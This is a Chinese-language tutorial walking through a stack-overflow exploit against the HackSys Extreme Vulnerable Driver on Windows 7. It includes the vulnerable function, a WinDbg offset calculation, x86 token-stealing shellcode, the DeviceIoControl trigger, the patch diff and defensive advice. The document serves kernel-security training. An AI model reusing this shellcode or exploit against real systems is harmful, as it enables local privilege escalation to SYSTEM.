Windows Kernel Exploit(二) -> StackOverflow
字数 1538 2025-08-05 08:20:12
Windows Kernel Exploit 教学文档:栈溢出漏洞分析与利用
0x00 环境准备
在进行Windows内核栈溢出漏洞分析前,需要准备以下环境:
-
操作系统环境:
- Windows 7 x86 SP1虚拟机
- 配置好Windbg调试工具(建议配合VirtualKD使用)
-
漏洞环境:
- HEVD (HackSys Extreme Vulnerable Driver)
- OSR Loader用于加载HEVD驱动
-
调试工具:
- IDA Pro用于静态分析
- Windbg用于动态调试
0x01 漏洞原理分析
栈溢出基本原理
栈溢出是系统漏洞中最基础的漏洞类型,其核心原理是:
- 程序对用户输入的缓冲区大小缺乏有效控制
- 当缓冲区作为参数传入函数时,可能覆盖关键内存区域
- 精心构造的输入可以覆盖返回地址,控制程序执行流程
漏洞代码分析
分析StackOverflow.c中的关键函数TriggerStackOverflow:
int __stdcall TriggerStackOverflow(void *UserBuffer, unsigned int Size) {
unsigned int KernelBuffer[512]; // [esp+10h] [ebp-81Ch]
CPPEH_RECORD ms_exc; // [esp+814h] [ebp-18h]
KernelBuffer[0] = 0;
memset(&KernelBuffer[1], 0, 0x7FCu);
ms_exc.registration.TryLevel = 0;
ProbeForRead(UserBuffer, 0x800u, 4u);
DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
DbgPrint("[+] KernelBuffer: 0x%p\n", KernelBuffer);
DbgPrint("[+] KernelBuffer Size: 0x%X\n", 0x800);
DbgPrint("[+] Triggering Stack Overflow\n");
memcpy(KernelBuffer, UserBuffer, Size);
return 0;
}
漏洞点:
KernelBuffer大小为0x800字节(512*4)memcpy直接使用用户提供的Size参数,没有进行边界检查- 当
Size > 0x800时,会导致栈溢出
0x02 漏洞调试与偏移计算
调试步骤
-
设置断点:
- 第一处:
TriggerStackOverflow函数开始处 - 第二处:
memcpy函数调用处
- 第一处:
-
获取关键地址:
kd> bl 0 e Disable Clear 8c6d16b9 e 1 0001 (0001) HEVD!TriggerStackOverflow+0x8f 1 e Disable Clear 8c6d162a e 1 0001 (0001) HEVD!TriggerStackOverflow -
第一处断点信息:
kd> r eax=c0000001 ebx=8c6d2da2 ecx=00000907 edx=0032f018 esi=886ad9b8 edi=886ad948 eip=8c6d162a esp=91a03ad4 ebp=91a03ae0 iopl=0 nv up ei pl nz na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000206- 返回地址位于
0x91a03ad4
- 返回地址位于
-
第二处断点信息:
kd> dd esp 91a03274 91a032b4 0032f018 00000907 8c6d25beKernelBuffer地址为0x91a032b4
-
计算偏移:
>>> hex(0x91a03ad4 - 0x91a032b4) '0x820'- 需要覆盖0x820字节才能到达返回地址
0x03 漏洞利用开发
利用思路
- 构造0x820字节的缓冲区
- 将返回地址覆盖为shellcode地址
- 确保栈平衡(修复EBP)
Shellcode设计
VOID ShellCode() {
//__debugbreak(); // 调试断点
__asm {
pop edi
pop esi
pop ebx
pushad
mov eax, fs:[124h]
mov eax, [eax+050h]
mov ecx, eax
mov edx, 4
find_sys_pid:
mov eax, [eax+0b8h]
sub eax, 0b8h
cmp [eax+0b4h], edx
jnz find_sys_pid
mov edx, [eax+0f8h]
mov [ecx+0f8h], edx
popad
pop ebp
ret 8
}
}
Shellcode功能:
- 通过
fs:[124h]获取当前线程的KTHREAD结构 - 遍历进程链表查找系统进程(PID=4)
- 复制系统进程的Token到当前进程
- 实现提权
栈平衡问题
在漏洞利用过程中需要注意:
- 原始EBP值为
0x91a3bafc - Shellcode执行时EBP被覆盖为
0x41414141 - 需要在Shellcode中修复EBP为
0x97a8fafc
利用代码实现
char buf[0x824];
memset(buf, 'A', 0x824);
*(PDWORD)(buf + 0x820) = (DWORD)&ShellCode;
DeviceIoControl(hDevice, 0x222003, buf, 0x824, NULL, 0, &bReturn, NULL);
0x04 补丁分析
对比安全版本和不安全版本的差异:
不安全版本:
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
安全版本:
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
补丁关键点:
- 使用
sizeof(KernelBuffer)代替用户提供的Size - 确保复制的数据不会超过目标缓冲区大小
0x05 扩展思考
-
与现代Windows系统的差异:
- Windows 7及更早版本缺乏完善的内核保护机制
- Windows 10引入了更多安全机制:
- SMEP (Supervisor Mode Execution Prevention)
- SMAP (Supervisor Mode Access Prevention)
- kCFG (Kernel Control Flow Guard)
- kASLR (Kernel Address Space Layout Randomization)
-
与Linux内核漏洞的对比:
- Linux中常见的保护机制:
- Canary
- ASLR
- NX (No-Execute)
- PIE (Position Independent Executable)
- Windows内核漏洞利用通常需要考虑:
- 会话空间布局
- 对象类型索引
- 内存池分配策略
- Linux中常见的保护机制:
-
防御建议:
- 对所有内存拷贝操作进行严格的边界检查
- 使用安全函数替代不安全的API
- 启用编译器提供的安全选项(如GS, /safeSEH等)
- 定期进行代码审计和安全测试